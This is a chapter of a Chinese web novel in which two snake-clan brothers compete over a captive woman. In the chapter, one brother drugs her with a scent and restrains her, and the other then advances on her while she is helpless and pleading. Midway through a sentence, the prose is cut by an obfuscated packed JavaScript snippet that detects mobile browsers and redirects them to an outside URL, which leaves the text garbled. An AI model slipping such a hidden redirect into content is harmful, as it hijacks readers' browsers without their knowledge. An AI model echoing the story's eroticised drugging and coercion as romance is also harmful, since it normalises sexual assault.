秦颂望着他离去的背影,内心翻涌起强烈的情绪,十分想要喊住他,跟着他一起离开这个鬼地方。但是她不敢轻举妄动,旁边还站着殷九斯,况且从方才的情形来看,殷九斯的段位不知要高出殷望多少。 忽然,殷望的脚步顿住了,他转回头,看着自己的哥哥,面无表情。 “女神要归位了。” “族老们让我来提醒你,别忘了正事,赶紧办完这里的事,准备迎接女神回归的仪式。” “毕竟。”殷望的眼神意味深长,充满了冷漠与不屑,“你是下一任族长嘛。” 殷望离开后,秦颂就被殷九斯锁在了睡房里,殷九斯不再允许秦颂随意进出,殷望的所作所为惹怒了他,而他却把这股怒火发泄在了秦颂身上。 冰冷阴森的睡房之中,光线昏暗,这里的灯光度数不是很高,殷九斯能在黑暗中清晰视物,这是蛇族的本能,但秦颂不可以,昏暗的环境之中,她能做的事不多,只能躺在床上睡觉。 迷迷糊糊不知睡了醒,醒了又睡过去多少次,殷九斯都没有再回到这个房间里。 秦颂完全不知道时间过去了多久,直到她在睡梦中隐约感觉到,有一道冰冷的视线躲在房间角落里窥视着她的时候,忽然就一个激灵,完全清醒了过来。 她在黑暗中睁开了眼睛,尽力保持呼吸节奏不变,然后再次闭上眼睛,假装在睡梦中翻了个身,面朝床外。 秦颂在内心默数五秒后,悄悄张开了眼睛,冷不防地看见一张俊美妖异的脸就贴在她面前,几乎是脸贴着脸的距离,秦颂吓得就想大喊,男人快速伸出手,一把捂住了她的嘴。 “是我,小嫂子。” 昏暗的房间内,男人一双眼睛却亮得吓人。 居然是殷望。 他不是已经被殷九斯赶走了吗?怎么还敢回来? 秦颂摸索着从床上坐起身,往后挪动身子,跟殷望保持距离。 这也是个奇怪的男人,秦颂心里对他没有一点好感,并直觉他很危险。 察觉到秦颂对他的排斥之后,他居然还笑了出来。 “嫂子怕我?还是怕被我哥发现。” 殷望意有所指地望向房门,“放心,他一时半会儿都回不来了。” 说完,殷望的眼睛望向房间天花板上那盏永远亮度不足的铜制吊灯,然后不知道他做了什么,吊灯散发着的光线居然逐渐亮了起来,一直亮到秦颂能完全看清楚房间里的情景。 殷望回头,看到秦颂惊讶的样子,又笑了起来。 “看来我哥平常对你不怎么样嘛,连灯光亮度都不舍得帮你调节一下。” 殷望的目光滑过她放在床头的书本,“每天就让你这么不方便地看着书?” “怪不得他讨不到老婆。”殷望语气里满是嘲笑。 秦颂不说话,整个人缩在床角,就这么一直警惕地看着他。 “说真的,我可比他好多了,要不你跟我结合吧。”殷望整个人就躺在床外侧,笑眼看着她,双臂交叠在脑后,一条长腿支着,另一条腿就自然地搭在床边,一副风流不羁的花花公子模样。 “殷九斯能给你的,我也能给。” “谁还不是条神蛇了。” “你不怕被他打?”秦颂自然不相信眼前这个男人的话,今天她可是亲眼看见了,殷望被殷九斯教训得有多惨。 “打呗。反正怎么打都打不死。”殷望完全是死猪不怕开水烫的样子,毫不在意。 “但老婆可只有一个。”殷望的眼神变深,看着秦颂,表情也变得微妙起来,“他有了,我就没有了。” 秦颂转过脸,闭上眼睛,不能与九婴族直视,因为他们的眼睛,会蛊惑人心! 但即便这样,秦颂还是能明显感觉到,殷望的身体在慢慢朝她靠近。更不妙的时候,她闻到空气中,开始弥漫着一股类似白兰花香的味道。 是殷望在释放蛇香! 秦颂连忙抬起手捂住口鼻,最后甚至直接扑到被子上,让被子隔绝掉殷望的气味。 “没用的。”殷望已经来到了她的身后,“不管你怎么阻挡,蛇香都能进入你的身体。不仅是从口鼻处进入,其实你的每一寸肌肤,都可以吸收蛇香。” 殷望笑着笑着,瞳孔已经发生了改变,他的蛇瞳是碧玉般的翠绿色,不同于殷九斯的金黄色蛇瞳那般妖异慑人,殷望的绿色蛇瞳,只有冰冷的欲望,以及原始的兽性本能在里面。 “放开我……”殷望已经单手压住了秦颂的背部,让她无法挣扎翻身,“殷九斯不会放过你的……” 秦颂心中绝望,因为她明白,殷望绝不会像殷九斯那般容忍自己。 殷望身上的蛇香已经愈来愈浓烈,秦颂浑身都使不上劲,意识也逐渐开始朦胧,莫名的快感不知道从哪里窜出来,在她的肢体,血液中流动,一直流向大脑,攻击她的理智,让她不由自主地想发出奇怪的声音。 她紧紧咬住牙关,不肯张嘴,双手紧紧攥着被子,克制自己身体颤抖的程度。 “小嫂子。”殷望说话时的气息喷洒在她的脖颈之上,引得她一阵颤栗,“转过脸来看我。” 随着殷望的话,他已经伸出手强制扭过秦颂的脸,逼迫对方看他。 秦颂额间早已溢出汗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242817|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,碎发粘在脸上,眼底发红,泛着迷朦的泪光,自以为是在瞪着他,其实眼神早已如同粘稠的蜜糖,让人想要融化在其中。 “你这样子,真是不得了。”殷望叹息着,伸出手指轻轻抚去粘在她唇边的湿法,“要是哥哥见到了,还不知道要发生什么有趣的事情呢……” 没想到话音刚落,秦颂就感觉后背一凉,原本贴着她的殷望就像是被一股无形的力量给生生拔起来,然后狠狠甩在了地上。 与此同时,房间门口被大力踢开,殷九斯阴沉的脸出现在了门背后。 “找死。”殷九斯怒意满满,朝着趴在地上的殷望走过去,他的手中拿着一根通体漆黑的粗鞭子,往殷望后背狠狠一甩,殷望一声痛叫。 “这是抽髓鞭,你真该长长教训了。”殷九斯语气阴森,说完手中又是给了一鞭。 秦颂趴在床上,意识模糊地看着兄弟俩的闹剧,只感觉空气中的香甜味越来越浓,浓得她都要睁不开眼睛了。 “别再散发蛇香了……”她小声地想要阻止他们,但是声音细若蚊蚋,根本没人能听清。 不知道过了多久,等她再次抬起头的时候,房屋里就只剩下她跟殷九斯两个人了。 殷九斯一身黑衬衫,早已被汗湿透,后背的布料紧紧贴在他结实的背肌之上,勾勒出诱人的线条。 他轻轻喘着气,把鞭子扔到一旁,走到桌子边,拿着水杯就开始喝水,喝得急了些,一丝透明的水液从他的嘴角滑落,落入胸前的衬衫领口深处。 秦颂早已被蛇香催得情热难耐,她挣扎着朝殷九斯伸出手,想要求他帮帮自己,有没有什么解决方式,摆脱蛇香蛊惑的痛苦。 殷九斯喝够了水,往下水杯后,冷漠的目光移到半趴在床中,狼狈不已,也早已被汗水浸湿全身的秦颂。 “接下来该收拾你了。” 男人边走向大床,边慢条斯理解开上身衬衫的扣子,不过三两下,扣子就全都解开了,衬衫微敞,松垮地挂在身上,露出里面劲瘦的肌肉。 不知何时屋内的灯光又暗了下来,但在一片暗色之中,殷九斯胸前的薄肌肌肤莹白,润如玉色,很是扎眼。 “不是这样的,别这样,求你……”秦颂张嘴,声音却嘶哑得陌生,“你帮我解开蛇香,太难受了……” 殷九斯单腿迈上床,跪压在秦颂头侧,秦颂感觉自己头边的床往下陷了几分,身体不由自主地就要滚到殷九斯的腿旁。 于是她伸出手,想要撑住殷九斯的腿,拉开两人之间的距离,却发现自己手臂也完全没有力气,软绵绵的,抵挡在殷九斯坚硬的小腿骨之上。 力量对比,分外明显。 殷九斯微微俯下身,冰凉的手掌贴上秦颂的脸,手指在她的脸上缱绻地摩挲了几下,随后他的另一只手伸向自己的腰间。 动作了几下之后,金属声落地。 “现在,我要好好跟你算账了。” “一夜的时间,够我们算的了。”